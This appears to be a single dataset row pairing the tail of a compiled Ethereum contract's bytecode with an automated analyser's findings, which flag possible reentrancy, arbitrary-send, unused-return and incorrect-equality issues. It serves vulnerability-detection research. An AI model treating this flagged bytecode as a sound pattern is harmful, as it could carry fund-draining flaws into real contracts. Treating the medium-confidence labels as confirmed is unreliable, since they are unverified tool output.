01160045260246000fd5b600082821015611b8757611b87611b5f565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611bb657611bb6611b5f565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c0457600080fd5b815161179b81611936565b600080600060608486031215611c2457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c4f57600080fd5b815161179b81611afb565b60008219821115611c6d57611c6d611b5f565b500190565b6000816000190483118215151615611c8c57611c8c611b5f565b500290565b600082611cae57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d035784516001600160a01b031683529383019391830191600101611cde565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c09b7396809bf1903978ab612c598668abac9e3bcc8807ba00f87cb5e271483164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.